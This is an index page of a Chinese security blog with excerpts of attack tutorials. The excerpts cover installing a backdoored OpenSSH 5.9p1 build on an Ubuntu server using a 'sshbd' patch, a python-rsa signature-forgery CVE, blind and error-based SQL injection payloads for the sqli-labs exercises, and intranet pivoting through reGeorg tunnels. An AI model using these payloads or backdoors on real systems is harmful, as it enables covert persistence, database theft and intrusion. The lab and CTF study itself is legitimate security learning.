Openssh后门 - Ubuntu/Centos

作者: 时间: 2017-06-26 评论: 暂无评论

这个后门真的好用...网上流传的都是Centos的版本,因为场景不同,我研究了一下针对Ubuntu,大同小异。

我的理解是在服务器在装一个不同版本的Openssh,打上相应的Patch使其能正常运作。

两个文件我存起来了:

openssh-5.9p1.tar.gz

openssh-5.9p1.patch.tar.gz

root:openssh-5.9p1/ # ssh -V                                                             [15:52:04]
OpenSSH_6.6.1p1 Ubuntu-2ubuntu2.8, OpenSSL 1.0.1f 6 Jan 2014
root:~/ # ls                                                                             [15:52:24]
openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
root:~/ # tar zxf openssh-5.9p1.patch.tar.gz                                             [15:52:27]
root:~/ # tar zxf openssh-5.9p1.tar.gz                                                   [15:52:36]
root:~/ # ls                                                                             [15:52:41]
openssh-5.9p1  openssh-5.9p1.patch  openssh-5.9p1.patch.tar.gz  openssh-5.9p1.tar.gz
root:~/ # cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/                          [15:52:44]
root:~/ # cd openssh-5.9p1                                                               [15:53:01]
root:openssh-5.9p1/ # patch < sshbd5.9p1.diff                                            [15:53:29]
patching file auth.c
patching file auth-pam.c
patching file auth-passwd.c
patching file canohost.c
patching file includes.h
patching file log.c
patching file servconf.c
patching file sshconnect2.c
patching file sshlogin.c
patching file version.h
root:openssh-5.9p1/ #

阅读全文»

python-rsa签名伪造漏洞(CVE-2016-1494)

作者: 时间: 2017-05-22 评论: 1条评论

此次也是因为在RCTF里遇到了两道RSA的题目,才因此去研究python-rsa签名伪造漏洞这东西,过程曲折,但是也挺有趣,记录下来和大伙儿分享一下。

此次成果也是站在前人的肩膀上去研究的,参考文章的链接在底下都有,大家可移步过去看看(对于原理的剖析,那几篇文章讲的很好)。

0x00 Python-RSA签名伪造漏洞原理

首先,RSA是非对称加密算法,也就是说RSA存在公私钥,RSA可用于数据加密传输(传输对称加密的密钥),也可以进行数字签名,两者区别在于:

RSA用于加密时:
    公钥加密,私钥解密
RSA用于数字签名时:
    私钥加密,公钥解密

如果还不理解可以花三分钟看这里《数字签名是什么?》

RSA

阅读全文»

SQL注入之旅 : Sqli Labs Part 3 - GET盲注

作者: 时间: 2017-04-11 评论: 暂无评论

这个系列基于sqli-labs,请自行下载

0x00 前言

这次是第8,9,10三个实验,布尔型和时间型盲注(Blind SQL Injection, Boolean-Based | Time-Based),布尔型的话根据查询对错页面会有变化但不回显错误,而时间型页面不回显任何错误,也就没办法判断是否对错。可以看下老外(口音很操蛋就是了)的视频:布尔型时间型,实验探究的过程挺详细的。

0x02 使用到的语句

SELECT LENGTH(USER());
SELECT IF((SELECT LENGTH(USER()))=14,1,2);
SELECT IF((ASCII(SUBSTR(USER(),1,1))= 0x72),1,2);
SELECT IF((SUBSTR(USER(),1,1)= BINARY CHAR(114)),1,2);


SELECT IF(((SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())=4),1,2);
SELECT IF((ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=ORD('e')),1,2);
SELECT 1=IF((SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1)=6,1,2);


SELECT 1=IF((SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name=0x656d61696c73)=2,1,2);
SELECT 1=IF(ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name=0x656d61696c73 LIMIT 0,1),1,1))=105,1,2);


SELECT SLEEP(3);
SELECT BENCHMARK(1000000,SHA(1));
SELECT IF((SELECT DATABASE())="security",SLEEP(3),null);

AND IF((SELECT DATABASE())=0x7365637572697479,SLEEP(5),1)--+
AND IF((SELECT DATABASE())=0x7365637572697479,benchmark(10000000,sha(1)),1)--+

阅读全文»

内网渗透 —— 通过代理访问内网

作者: 时间: 2017-04-10 评论: 1条评论

0x00 场景及使用到的工具

  • 本机处于内网
  • 目标机器处于内网,只映射80端口到出口IP(外网IP)上。
  • 内网同网段下存在其他活跃主机。

使用到的工具:

0x01 准备

本机是MacOSLinux下差不多,Windows就是代理软件的选择上有差别。

因为很多场景是服务器对外的服务是Web,所以先git clone一下reGeorg,里面有包括PHPJSPASPASPX在内的tunnel,用于开启Socks反向代理。

然后安装一下Proxifier,至于如何选择,可以看一下这里Comparison_of_proxifiers

General.png

阅读全文»

SQL注入之旅 : Sqli Labs Part 2 - GET二次注入

作者: 时间: 2017-03-27 评论: 暂无评论

这个系列基于sqli-labs,请自行下载

0x00 前言

这次是第5,6个实验,二次注入(Double Query Injection),页面不回显,但是会报错。可以看下老外(口音很操蛋就是了)的视频,实验探究的过程挺详细的。

0x02 使用到的语句

SELECT RAND();
SELECT RAND()*2;
SELECT FLOOR(RAND()*2);
SELECT DATABASE();
SELECT CONCAT((SELECT DATABASE()));
SELECT CONCAT((SELECT DATABASE()),0x3a);
SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2));
SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a;

SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM users;
SELECT COUNT(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM users;
SELECT FLOOR(RAND(0)*2);
SELECT COUNT(*),FLOOR(RAND(0)*2) FROM users;

SELECT CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables;
SELECT count(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables;
SELECT count(*),CONCAT((SELECT DATABASE()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT VERSION()),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),0x3a,FLOOR(RAND()*2))a FROM information_schema.tables GROUP BY a;
SELECT count(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1,1),0x3a,FLOOR(RAND(0)*2))a FROM information_schema.tables GROUP BY a;

阅读全文»